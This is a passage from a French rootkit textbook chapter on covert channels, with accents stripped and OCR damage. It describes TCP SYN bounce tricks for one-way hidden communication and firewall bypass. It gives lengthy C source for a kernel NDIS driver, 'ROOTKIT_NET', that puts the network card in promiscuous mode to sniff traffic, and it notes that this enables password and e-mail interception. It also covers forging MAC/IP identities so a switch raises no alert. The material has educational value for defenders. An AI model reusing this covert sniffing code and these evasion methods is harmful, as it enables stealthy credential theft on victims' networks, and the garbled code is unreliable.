denvoyer du trafic dans une direction sans rvler son emplacement1.
Par exemple, un rootkit pourrait envoyer un paquet TCP SYN avec une adresse source
trompeuse. Le paquet pourrait contenir des donnes masques encodes dans le
numro de squence initial. Le serveur Web tiers pourrait rpondre avec un paquet
SYN-ACK, en plaant le numro de squence initial (plus un) dans son paquet. Nous
obtenons l un mcanisme de communication unidirectionnel.
Un autre effet de lattaque par rebond permet de contourner un pare-feu. Si un rootkit
est install sur un rseau trs sensible autorisant du trafic en provenance de certains
htes approuvs seulement, des commandes pourraient tre envoyes par rebond au
rootkit, partir de lun des htes valids. Lemploi dun tiers pour le rebond doit
toutefois tre gr avec prcaution. Parfois, une requte DNS sera rsolue en
rfrenant une ferme dhtes et vous pourriez sans le savoir utiliser plusieurs htes
pour le rebond. Pour viter ce problme, il faut soit utiliser uniquement ladresse IP de
lhte cibl ou sassurer que le rootkit sait que nimporte lequel de ces htes peut tre
source de donnes. Un autre pige est que certains routeurs et systmes pare-feu
emploient un filtrage de paquet (stateful inspection), auquel cas ils nautoriseront pas
la circulation de ces paquets entrant ou sortant par rebond.
Dans la plupart des cas, ces difficults ne poseront pas de problme. De nombreux
pare-feu procdant de la sorte supposent, lorsquils dtectent un paquet SYN-ACK
mis par rebond, quune connexion valide a t tablie.

1. Naturellement, l'envoi dun trafic bidirectionnel rvlerait lemplacement du hacker. Ladresse cible de la
mthode unidirectionnelle est rvle simplement en examinant ladresse source fabrique.

Chapitre 9

Canaux de communication secrets 283

Support de TCP/IP dans le mode noyau via NDIS


Jusqu prsent, nous navons fait qutudier comment crer des paquets bruts partir
dun programme en mode utilisateur. Cela convient pour quelques exprimentations
mais, pour bien comprendre comment un rel rootkit fonctionne, vous devez pouvoir
envoyer des paquets partir du noyau.
Lemploi de linterface NDIS permet un driver daccder au trafic brut. Elle convient
le mieux pour sniffer des paquets, mais vous pourriez galement en envoyer.
Lexemple suivant de driver de protocole NDIS permet de crer et de sniffer des
paquets bruts. Il ne se charge pas de filtrer ni de contrler les paquets entrant ou
sortant (ce nest pas un pare-feu).
Avant de pouvoir intercepter du trafic, il faut dabord enregistrer un protocole puis
dfinir des fonctions de callback qui greront les vnements.

Dclaration du protocole
En premier lieu, vous devez inscrire dans le systme une structure de caractristiques
du protocole. Cela demande lemploi dun argument de liaison spcifiant linterface
(Ethernet, sans-fil, etc.) avec laquelle vous travaillerez, que lon appelle parfois aussi
interface MAC. Dans notre exemple, nous codons en dur cet argument et nous
donnons notre protocole le nom ROOTKIT_NET :
#include "ntddk.h"
// Important ! Placez ceci avant ndis.h.
#define NDIS40 1
#include "ndis.h"
#include "stdio.h"
struct UserStruct

{
ULONG mData;
} gUserStruct;
// handle pour l'interface rseau ouverte
NDISJHANDLE
gAdapterHandle;
NDIS_HANDLE
gNdisProtocolHandle;
NDIS_EVENT
gCloseWaitEvent;
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )

{
UINT
aMediumlndex = 0;
NDIS_STATUS
aStatus, anErrorStatus;
// Nous n'essayons que 802.3
NDIS_MEDIUM
aMediumArray=NdisMedium802_3;

284 Rootkits

Infiltrations du noyau Windows

UNICODE_STRING anAdapterName;
NDIS_PROTOCOL_CHARACTERISTICS aProtOCOlChar;
NDIS_STRING
aProtoName = NDIS_STRING_CONST("R00TKIT_NET");
DbgPrint("ROOTKIT Loading...");

Vous pouvez obtenir la liste des interfaces utilisables laide de lune des deux cls de
registre suivantes :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards

HKLM\SY STEM\CurrentControlSet\Services\TcpIp\Linkage
Par exemple, lun de nos systmes de test possde les liaisons suivantes :
\Device\{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORiNOCO Wireless LAN **-PC Card
(5 volt)
\Device\{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}
\Device\{5436B920-2709-4250-918D-B4ED3BB8CF9A}
Dell TrueMobile
o*-1150 Sris Wireless LAN Mini PCI Card
\Device\{5A6C6428-C5F2-4BA5-A469-49F607B369F2}
1394 Net Adapter
\Device\{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated **-Fast
Ethernet Controller (3C905C-TX Compatible)
\Device\{6D615BDB-A6C2-471D-992E-4C0B431334F1}
1394 Net Adapter
\Device\{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated **Fast
Ethernet Controller (3C905C-TX Compatible)
\Device\NdisWanIp
\Device\{147E65D7-4065-4249-8679-F79DB39CFC27}
\Device\{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}

Nous initialisons le nom de la carte rseau avec celui de la liaison. Le format de la


chane est \Device\{GUID}. Notez lemploi du prfixe "L" avant la chane, pour prvenir
le compilateur quil sagit dune chane au format Unicode.
RtlInitUnicodeString(
&anAdapterName,
L"\\Device\\ {453CCFA6-B612-48A2-8389-309D3EC35532}" ); //
Evnement d'initialisation de la fermeture
NdisInitializeEvent(&gCloseWaitEvent);
theDriverObject->DriverUnload = OnUnload;

Nous initialisons ensuite la structure des caractristiques de protocole. Elle inclut une
srie de pointeurs de fonctions qui doivent tre initialiss. Ces pointeurs spcifient des
fonctions de callback pour une varit dvnements qui se produiront. Il y a de
nombreux vnements, mais celui qui nous intresse particulirement se produit
lorsquun paquet arrive du rseau. Cest de cette manire que nous pouvons sniffer le
trafic. Chacune de nos fonctions de callback est nomme selon le format suivant :
OnXXX et OnXXXDone, o XXX est un nom relatif lvnement concern.

Chapitre 9

Canaux de communication secrets 285

/ / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / ////////////// / / / / / / / / / / / / /
////
I l Initialisation du sniffen de rseau Une procdure standard
I l et documente dans le DDK.
////////////////////////////////////////
//////////////////////
RtlZeroMemory( &aProtocolChar,
//
Sizeof(NDIS_PROTOCOL_CHARACTERISTICS)
aProtocolChan.MajorNdisVersion
aProtocolChar.MinorNdisVersion
aProtocolChar.Reserved
= 0;
aProtocolChar.OpenAdaptenCompleteHand1er
= OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandle
r = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler
= OnSendDone;
aProtocolChar.TransferDataCompleteHandle
r = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler
OnResetDone;
aProtocolChar.RequestCompleteHandler
OnRequestDone;
aProtocolChar.ReceiveHandler
OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler
OnReceiveDoneStub;
aProtocolChar.StatusHandler
OnStatus;
aProtocolChar.StatusCompleteHandler
OnStatusDone;
aProtocolChar.Name
aProtoName;
aProtocolChar.BindAdapterHandler
OnBindAdapter;
aProtocolChar.UnbindAdapterHand1er
OnUnbindAdapter;
aProtocolChar.UnloadHandler
OnProtocolUnload;
aProtocolChar.ReceivePacketHandler
OnReceivePacket;
aProtocolChar.PnPEventHandler
OnPNPEvent;
DbgPrint("ROOTKIT: Registering NDIS Protocol\n);

Finalement, nous appelons NdisRegisterProtocol pour inscrire la structure de


caractristiques dans le systme. Ceci doit se produire avant la liaison.
// Nous devons inscrire un protocole avant de pouvoir // nous lier
l'interface.
NdisRegisterProtocol(&aStatus,
&gNdisProtocolHandle,
&aProtocolChar,
sizeof(NDIS_PROTOCO L_CHARACT ERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS)

{
char _t[255];
_snprintf(_t, 253,DriverEntry: ERROR
NdisRegisterProtocol failed with
error 0x%08X", aStatus);
DbgPrint(_t); return aStatus;

}
Si linscription du protocole russit, nous appelons NdisOpenAdapter. Cette fonction
nous connecte linterface spcifie. Une fois lappel ralis, les fonctions de

286 Rootkits

Infiltrations du noyau Windows

callback commencent tre appeles par la bibliothque NDIS. A partir de cet endroit
du code, nous passons des coulisses la scne.
Notez que NdisOpenAdapter peut retourner un code dtat signifiant "en attente". Il
indique que lopration douverture ne sest pas termine immdiatement. Si ceci se
produit, la bibliothque NDIS appellera notre fonction de callback OnOpenAdap- terDone
seulement lorsque lopration se sera termine. De cette manire, notre code ne se
bloquera jamais. Dun autre ct, si NdisOpenAdapter se termine immdiatement, nous
devons expressment appeler OnOpenAdapterDone.
Cest un point important. Nous devons appeler la version
callback si un appel se termine immdiatement :

XXXDone

dune fonction de

// NdisOpenAdapter ouvre une connexion entre le protocole


// et l'interface physique (couche MAC).
NdisOpenAdapter(
&aStatus,
// Code de retour.
&anErrorStatus,
// Code de retour.
&gAdapterHandle,
// Retourne un handle sur la liaison. Pointeur
&aMediumIndex,
// d'entier, index du tableau Medium, indique
// comment l'interface doit tre vue.
// Tableau Medium.
// Nombre d'lments dans le tableau Medium. Le
&aMediumArray,
// handle retourn de NdisRegisterProtocol.
// Pointeur vers une structure contrle par
N
// l'utilisateur.
gNdisProtocolHandle, // Laiss la dcision du programmeur.
// Nom de l'interface ouvrir.
// Masque binaire d'options Pointeur vers des
&gUserStruct,
// informations
//
&anAdapterName,

//
//

0
NULL);
// passer MacOpenAdapter
supplmentaires
if (aStatus != NDIS_STATUS_PENOING)

{
if(FALSE == NT_SUCCESS(aStatus))

{
// Un problme s'est produit

ferme tout.

char __ t[255];
_snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter
returned an error 0x%08X", aStatus);
DbgPrint(_t);
// Indicateur utile
if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)

Chapitre 9

Canaux de communication secrets 287

DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND);

}
I l Supprime le protocole sous peine de plantage avec cran
bleu !
NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle); if(FALSE ==
NT_SUCCESS(aStatus))

{
DbgPrint("DeregisterProtocol failed!");

}
// Utilis pour winCE - NdisFreeEvent(gCloseWaitEvent);
return STATUSJJNSUCCESSFUL;

}
else

{
OnOpenAdapterDone(
&gUserStruct, aStatus,
NDIS_STATUS_SUCCESS

);

return STATUS_SUCCESS;

}
Nous avons vu comment dfinir et inscrire un protocole. Nous pouvons maintenant
tudier le fonctionnement des fonctions de callback qui grent les vnements.

Fonctions de callback du driver de protocole


Bien quelles doivent exister, la plupart de nos fonctions de callback ne font rien. Les
seules qui ncessitent une implmentation spcifique sont OnOpenAdapterDone et
OnCloseAdapterDone. Nous ajoutons galement du code pour OnReceiveStub pour
produire des informations lorsquun paquet est sniff.
La fonction OnOpenAdapterDone vrifie si une erreur sest produite lors de louverture
de linterface. Si tout sest bien droul, elle tente de placer linterface dans le mode
"transparent", ou promiscuous, pour pouvoir voir toutes les trames circulant sur le
rseau. Ceci est ralis au moyen dun appel de NdisRequest avec le mode
NDIS_PACKET_TYPE_PROMISCUOUS :
VOID
OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus )

288 Rootkits

Infiltrations du noyau Windows

NDIS_REQUEST anNdisRequest;
NDIS_STATUS anotherStatus;
ULONG
aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");
if(NT_SUCCESS(OpenErrorStatus))

{
// Place la carte rseau dans le mode promiscuous
anNdisRequest.RequestType = NdisRequestSetlnformation;
anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION \
.InformationBufferLength = sizeof(ULONG);
NdisRequest(&anotherStatus, gAdapterHandle,
&anNdisRequest );

}
else

{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called with
error code 0x%08X",
OpenErrorStatus);
DbgPrint(_t);

}
}
Nous dfinissons ensuite un vnement dans OnCloseAdapterDone pour signaler la
portion restante du driver quand une opration de fermeture se droule. Ceci permet au
rootkit de dterminer sil est ncessaire dattendre que linterface se ferme avant de
dcharger le driver de la mmoire :
VOID
OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )

{
DbgPrint("ROOTKIT: OnCloseAdapterDone called\n");
// Synchronisation avec l'vnement unload NdisSetEvent(&gCloseWaitEvent);

VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext, IN
PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )

{
DbgPrint("ROOTKIT: OnSendDone called\n");

}
VOID

Chapitre 9

Canaux de communication secrets 289

OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,


IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )

{
DbgPrint("ROOTKIT: OnTransferDataDone called\n);

}
La fonction OnReceiveStub est appele chaque fois quun paquet est intercept.
Largument HeaderBuff er contient un pointeur vers len-tte Ethernet. Largument
LookAheadBuff er peut contenir un pointeur vers le reste du paquet.
Avertissement : il nest pas garanti que le tampon LookAheadBuff er contienne la totalit
du paquet. Vous ne pouvez pas vous appuyer seulement sur ce tampon pour intercepter
des paquets entiers.
Dans notre exemple, nous retournons simplement
indiquer que le paquet ne nous intresse pas :

NDIS_STATUS_NOT_ACCEPTED

/* Un paquet est arriv */


NDIS_STATUS
OnReceiveStub(
IN NDIS_HANDLE ProtocolBindingContext, /* Notre structure
d'ouverture */
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer, /* En-tte Ethernet */
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer, /* Il est possible d'avoir
un paquet entier ici */
IN UINT LookaheadBufferSize,
UINT PacketSize )

{
char _t[255];
UINT aFrameType = 0;
// Indique au debugger le type de trame memcpyf&aFrameType,
( ((char *)HeaderBuffer) + 1 2 ) , 2);
_snprintf(_t, 253, "sniffed frame type %u, packetsize %u", aFrameType,
Packetsize);
DbgPrint(_t);
// Ignore tout
return NDIS_STATUS_NOT_ACCEPTED;

VOID OnReceiveDoneStub( IN NDIS_HANDLE ProtocolBindingContext )

{
DbgPrint("ROOTKIT: OnReceiveDoneStub called\n"); return;

pour

290 Rootkits

Infiltrations du noyau Windows

VOID OnStatus( IN NDIS_HANDLE ProtocolBindingContext, IN


NDIS_STATUS Status,
IN PVOID StatusBuffer,
IN UINT StatusBufferSize )

{
DbgPrint("ROOTKIT: OnStatus called\n");
return;
VOID OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext )

{
DbgPrint("ROOTKIT:OnStatusDone called\n");
return;
VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext, IN
NDIS_STATUS Status )

{
DbgPrint("ROOTKIT: OnResetDone called\n");
return;
VOID OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext, IN
PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS Status )

{
DbgPrint("ROOTKIT: OnRequestDone called\n");
return;

}
VOID OnBindAdapter(OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_STRING theDeviceNameP,
IN PVOID theSSI,
IN PVOID theSS2 )

{
DbgPrint("ROOTKIT: OnBindAdapter called\n");
return;

}
VOID OnUnbindAdapter(OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDISJHANDLE theUnbindContext )

{
DbgPrint("ROOTKIT: OnUnbindAdapter called\n);
return;

}
NDIS_STATUS OnPNPEvent(IN NDIS_HANDLE
ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent)

{
DbgPrint("ROOTKIT: PtPnPHandler called");

Canaux de communication secrets 291

Chapitre 9

return NDIS_STATUS_SUCCESS;

}
VOID OnProtocolUnload( VOID )

{
DbgPrint("ROOTKIT: OnProtocolUnload called);
return;

}
INT OnReceivePacket(IN NDIS_HANDLE
ProtocolBindingContext,
IN PNDIS_PACKET Packet )

{
DbgPrint("ROOTKIT: OnReceivePacket called\n");
return 0;

Finalement, nous implmentons une routine de dchargement. Cette routine ferme


linterface et attend un vnement qui sera dclench une fois lopration de fermeture
termine (souvenez-vous de OnCloseAdapterDone, vu plus haut). A moins dattendre la
fermeture de linterface, nos fonctions de callback peuvent toujours tre appeles. Si
nous dchargeons le driver sans fermer dabord linterface, elles risquent dtre
appeles alors quelles ont t dcharges de la mmoire, ce qui provoquerait un
plantage avec cran bleu.
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{
NDIS_STATUS Status;
DbgPrint ( "ROOTKIT: OnUnload called\n'');
NdisResetEvent(&gCloseWaitEvent);
NdisCloseAdapter(
&Status,
gAdapterHandle);
// Nous devons attendre que l'opration se termine

//

-------------------------------- ---

if(Status == NDIS_STATUS_PENDING)

{
DbgPrint("rootkit: OnUnload: pending wait event\n");
NdisWaitEventf&gCloseWaitEvent, 0);

}
NdisDeregisterProtocol( &Status, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(Status))

{
DbgPrint("DeregisterProtocol failed!");

}
// Utilis pour winCE - NdisFreeEvent(gCloseWaitEvent);
DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\n");

292 Rootkits

Infiltrations du noyau Windows

Dplacement de paquets entiers


Comme nous lavons indiqu plus haut, la fonction OnReceiveStub ne reoit pas
toujours des paquets entiers dans le tampon LookAheadBuff er. Nous devons
implmenter une mthode pour nous assurer de recevoir des paquets entiers. Pour cela,
il faut appeler NdisTransportData et grer certaines structures de tampon.
Nous crons deux variables globales supplmentaires pour un pool de paquets et un
pool de tampons. Ensuite, dans OnOpenAdapterDone, nous initialisons ces variables en
utilisant NdisAllocatePacketPool et NdisAllocateBuff erPool.
NDIS_HANDLE
NDIS_HANDLE

gPacketPoolH;
gBufferPoolH;

VOID
OnOpenAdapterDone(IN NDIS_HANDLE IN ProtocolBindingContext,
NDIS_STATUS IN Status,
NDIS_STATUS
OpenErrorStatus )

{
NDIS_STATUS
NDIS_REQUEST
NDIS_STATUS
ULONG

aStatus; anNdisRequest; anotherStatus;


aMode = NDIS_PACKET_TYPE_PROMISCUOUS;

DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");


if(NT_SUCCESS(OpenErrorStatus))

{
// Place la carte dans le mode promiscuous
anNdisRequest.RequestType = NdisRequestSetlnformation;
anNdisRequest.DATA.SET_INFORMATION.Oid =
OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION. \
InformationBufferLength = sizeof(ULONG);
NdisRequest( &anotherStatus,
gAdapterHandle,
&anNdisRequest );
NdisAllocatePacketPool(
&aStatus,
&gPacketPoolH,
TRANSMIT_PACKETS,
sizeof(PACKET_RESERVED));
if (aStatus != NDIS_STATUS_SUCCESS)

{
return;

Chapitre 9

Canaux de communication secrets 293

NdisAllocateBufferPool(
&aStatus,
&gBufferPoolH,
TRANSMIT_PACKETS ); if
(aStatus != NDIS_STATUS_SUCCESS)

{
return;

}
}
else

{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called
with error code 0x%08X",
OpenErrorStatus);
DbgPrint(_t);

}
}
Par lintermdiaire des handles des pools de tampons et de paquets, nous pouvons
initier une opration de dplacement de donnes dans notre fonction de callback de
rception. Nous vrifions quil sagit bien dun paquet Ethernet et stockons son entte.
Nous allouons ensuite un tampon et un paquet partir de notre pool. La structure
NDIS_PACKET contient un champ rserv o nous pouvons conserver une copie de lentte Ethernet. La structure comprend aussi une chane de tampons dans laquelle le reste
du paquet sera copi. Nous allouons un tampon dune taille suffisante, puis le
"chanons" la structure NDIS_PACKET. Nous appelons ensuite Ndis- Transf erData
pour placer le reste du paquet dans ce tampon.
peut se terminer immdiatement ou retourner un code signifiant
"en attente". Si lopration est en attente, la fonction de callback OnTransf erData- Done
sera appele lorsque lopration se terminera. Noubliez pas que, si Ndis- TransferData
se termine immdiatement, nous devons appeler nous-mme OnTransferDataDone.
NdisT ransf erData

/* Un paquet est arriv */


NDIS_STATUS
OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* Notre
structure
d'ouverture */
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer, /* En-tte Ethernet */
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer, /* Il est possible d'avoir
un paquet entier ici*/
IN UINT LookaheadBufferSize,
UINT PacketSize )

294 Rootkits

Infiltrations du noyau Windows

PNDIS_PACKET pPacket;
PNDIS_BUFFER pBuffer;
ULONG SizeToTransfer = 0;
NDIS_STATUS Status;
UINT BytesTransfered;
ULONG BufferLength;
PPACKET_RESERVED Reserved;
NDIS_HANDLE BufferPool;
PVOID aTemp;
UINT Frame_Type = 0;
DbgPnint("ROOTKIT: OnReceiveStub called\n");
SizeToTransfer = PacketSize; if(
(HeaderBufferSize > ETHERNET_HEADER_LENGTH)

II
(SizeToTransfer > ( 1 5 1 4 - ETHERNET_HEADER_LENGTH) ))

{
DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted
packet\n");
return NDIS_STATUS_NOT_ACCEPTED;

}
memcpy(&Frame_Type, ( ((char *)HeaderBuffer) + 1 2 ) , 2 ) ;

/*

* Ignore tout
* sauf IP (octets dans l'ordre du rseau)

*/
if(Frame_Type != 0x0008)

{
DbgPrint("Ignoring NON-Ethernet frame");
return NDIS_STATUS_NOT_ACCEPTED;

}
/* Stocke le payload (charge utile) Ethernet */
aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH ));
if (aTemp)

{
//DbgPrint("ROOTKIT: ORI: store ethernet payload\n");
RtlZeroMemory(aTemp, ( 1 5 1 4 - ETHERNET_HEADER_LENGTH ));
NdisAllocatePacket(
&Status,
&pPacket,
gPacketPoolH /*NdisAllocatePacketPool prcdent*/

);
if (NDIS_STATUS_SUCCESS == Status)

{
//DbgPrint("ROOTKIT: ORI: store ethernet header\n"); /*
Stocke l'en-tte Ethernet */
RESERVED(pPacket)->pHeaderBufferP = ExAllocatePool(

Canaux de communication secrets 295

Chapitre 9

NonPagedPool,
ETHERNET_HEADER_LENGTH) ; DbgPnint("ROOTKIT: ORI: checking ptr\n");
if(RESERVED(pPacket)->pHeaderBufferP)

{
//DbgPrint(''ROOTKIT: ORI: pHeaderBufferP\n" ) ;
RtlZeroMemory(
RESERVED(pPacket)->pHeaderBufferP,
ETHERNET_HEADER_LENGTH); memcpy(RESERVED(pPacket)->pHeaderBufferP,
(char *)HeaderBuffer,
ETHERNET_HEADER_LENGTH);
RESERVED(pPacket)->pHeaderBufferLen = ETHERNET_HEADER_LENGTH;
NdisAllocateBuffer(
&Status,
&pBuffer,
gBufferPoolH,
aTemp,
( 1 5 1 4 - ETHERNET_HEADER_LENGTH)

);
if (NDIS_STATUS_SUCCESS == Status)

{
//DbgPrint("ROOTKIT: ORI: NDIS_STATUS_SUCCESS\n");
/* Devra tre libr ensuite */
RESERVED(pPacket)->pBuffer = aTemp;
/* Associe notre tampon au paquet.
Important */
NdisChainBufferAtFront(pPacket, pBuffer);
//DbgPrint("ROOTKIT: ORI: NdisTransferData\n");
NdisTransferData(
&(gllserStruct .mStatus),
gAdapterHandle,
MacReceiveContext,

0
SizeToTransfer, pPacket,
&BytesTransfered) ;
if (Status != NDIS_STATUS_PENDING)

{
//DbgPrintf"ROOTKIT: ORI: did not pend\n");
/* Si pas en attente, appeler la routine de
terminaison maintenant */
OnTransferDataDone(
&gUserStruct, pPacket,
Status,
BytesTransfered

);

296 Root kits

Infiltrations du noyau Windows

return NDIS_STATUS_SUCCESS;

}
ExFreePool(RESERVED(pPacket)->pHeaderBufferP);

}
else

{
DbgPrintf"ROOTKIT: ORI: pHeaderBufferP allocation failed!\n");

}
//DbgPrint("ROOTKIT: ORI: NdisFreePacket()\n");
NdisFreePacket(pPacket) ;

}
//DbgPrint("ROOTKIT: ORI: ExFreePool()\n);
ExFreePool(aTemp);

}
return NDIS_STATUS_SUCCESS;

}
Finalement, examinons OnTransferDataDone pour comprendre comment reconstmire la
totalit du paquet. Nous rcuprons le tampon den-tte que nous avions conserv dans
le champ rserv NDIS PACKET, ainsi que le reste du paquet qui avait t copi dans le
tampon chan. Celui-ci ninclut pas le tampon den-tte. Nous concatnons alors les
deux tampons pour reconstruire la trame brute entire. Nous librons et rinitialisons
les ressources des pools de tampons et de paquets pour quelles puissent tre
rutilises.
Une fois que nous avons rassembl la trame brute, nous appelons une fonction
OnSniff edPacket avec un pointeur vers la trame et sa longueur :
VOID OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )
PNDIS_BUFFER
PVOID
ULONG
PVOID
ULONG

aNdisBufP ;
aBufferP;
aBufferLen;
aHeaderBufferP;
aHeaderBufferLen;

//DbgPrint("ROOTKIT: OnTransferDataDone called\n");


//////////////////////////////////////////////////
/ / / / / / / / / / / / / / Nous avons un paquet complet ici, nous
traitons en interne
//////////////////////////////////////////////////
/ / / / / / / / / / / / aBufferP = RESERVED(thePacketP)->pBuffer;
aBufferLen = theBytesTransfered;
aHeaderBufferP = RESERVED(thePacketP)->pHeaderBufferP; aHeaderBufferLen =
RESERVED(thePacketP)->pHeaderBufferLen;

///////////////////////////////////////////////////////////
// aHeaderBufferP devrait tre l'en-tte Ethernet.
// aBufferP devrait tre le paquet TCP/IP.

Chapitre 9

Canaux de communication secrets 297

////////////////////////////////////////////////////////
/ / / if(aBufferP && aHeaderBufferP)

{
ULONG aPos = 0; char *aPtr = NULL;
aPtr = ExAllocatePool( NonPagedPool,
(aHeaderBufferLen + aBufferLen) );
if(aPtr)

{
memcpy(aPtr,
aHeaderBufferP,
aHeaderBufferLen ); memcpy(aPtr +
aHeaderBufferLen, aBufferP,
aBufferLen );
// Nous avons un paquet prt tre examin.
// Analyse le paquet pour rechercher les commandes imbriques.
OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen));
ExFreePool(aPtr);

}
//DbgPrintf"ROOTKIT: OTDD: Freeing Packet Memory\n");
ExFreePool(aBufferP); // Tampon plein
ExFreePool(aHeaderBufferP); // Tampon plein }
/* Libre le tampon */
//DbgPrint("ROOTKIT: OTDD: NdisUnchainBufferAtFront\n");
NdisUnchainBufferAtFront(
thePacketP, &aNdisBufP); // Libre le descripteur de tampon
if(aNdisBufP) NdisFreeBuffer(aNdisBufP);
/* Recycle */
//DbgPrint (11 ROOTKIT : OTDD: NdisReinitializePacket\n ) ;
NdisReinitializePacket(thePacketP);
NdisFreePacket(thePacketP); return;

>
Vous pouvez faire tout ce que vous voulez dans la fonction OnSnif f edPacket. Notre
exemple envoie simplement en sortie quelques donnes relatives au paquet.
void OnSniffedPacket(const char* theData, int theLen)

{
char _c[255];
_snprintf(_c, 253, "OnSniffedPacket: got packet length % d , theLen);
DbgPrint(_c);

}
Nous disposons maintenant de tous les blocs constitutifs de notre sniffeur de trafic
dans notre rootkit. Arm de cet outil, il devient possible dintercepter des mots de
passe, de faire un scan passif ou de collecter les e-mails. Explorons maintenant
quelques effets possibles de linjection de paquets forgs sur le rseau.

298 Rootkits

Infiltrations du noyau Windows

Emulation d'hte
A laide du driver de protocole NDIS, nous pouvons muler un nouvel hte sur le
rseau. Ceci signifie que notre rootkit aura sa propre adresse IP dhte sur le rseau.
Ainsi, au lieu dutiliser la pile IP de lhte, nous spcifierons une nouvelle adresse IP.
En fait, il est mme possible dindiquer une autre adresse MAC ! La combinaison des
adresses IP et MAC est normalement unique pour chaque ordinateur physique.
Si quelquun procdait une analyse du rseau, votre combinaison adresses IP/ MAC
apparatrait comme tant un ordinateur sur le rseau. Cela pourrait crer une diversion
pour viter dattirer lattention sur lordinateur infect ou aussi servir contourner les
filtres.

Cration de votre adresse MAC


La premire tape pour muler un hte est de crer une adresse matrielle, ou MAC.
Une adresse MAC est normalement grave sur une carte rseau lors de sa fabrication.
Elle nest donc pas cense changer. Toutefois, si vous forgez des paquets bruts, vous
pouvez insrer nimporte quelle adresse.
Une adresse MAC se compose de 48 bits, dont une partie reprsente lidentifiant
unique du fabricant. Lorsque vous crez une nouvelle adresse MAC, vous pouvez
slectionner le code de vendeur utiliser. La plupart des analyseurs rsolvent ce code.
Certains commutateurs peuvent tre configurs pour nautoriser quune seule adresse
MAC par port ou, plus prcisment, quune adresse spcifique pour un port donn.
Dans une telle situation, ladresse MAC relle de lhte et celle qui est forge entrent
en conflit. Le rsultat sera que la combinaison IP/MAC cre ne fonctionnera pas ou
que le port sera totalement ferm.

Gestion d'ARP
Lorger des trames brutes nest pas exempt de difficults. Si vous crez une adresse IP
et une adresse MAC Ethernet, il vous faudra grer le protocole ARP (Address
Resolution Protocol). Sans protocole ARP, aucun paquet ne peut tre chang ni
mme relay correctement par le routeur sur le rseau local. ARP est le protocole qui
indique au routeur que votre adresse IP source est disponible mais, plus important,
quelle adresse Ethernet associe il doit transmettre les paquets.

Chapitre 9

Canaux de communication secrets 299

Ceci est galement important dans le cas de commutateurs. Un commutateur


intelligent sait sur quel port se trouve une adresse MAC. Si votre rootkit ne gre pas
correctement ladresse Ethernet, le commutateur risque de ne pas envoyer le trafic sur
le bon port. Comme introduit prcdemment, certains commutateurs nautorisent
quune seule adresse Ethernet par port. Si votre rootkit tente dutiliser une autre
adresse MAC, le commutateur mettra une alerte et bloquera les communications dans
votre direction. Cela a tendance veiller lattention de ladministrateur, qui se mettra
alors la recherche du coupable. Cest donc un vnement que votre rootkit devrait
sefforcer de ne pas dclencher.
Lextrait de code suivant gre la rponse dun rootkit une requte ARP.
Rootkit.com
Le code source de l'exemple de rootkit est tlchargeable
www.rootkit.com/vault/hoglund/rk_044.zip.
#define ETH_P_ARP 0x0806 // Paquet de rsolution d'adresse (ARP)
#define ETH_ALEN 6 // Octets dans une adresse Ethernet #define
ARPOP_REQUEST 0x01 #define ARPOP_REPLY 0x02 // En-tte Ethernet
struct ether_header {
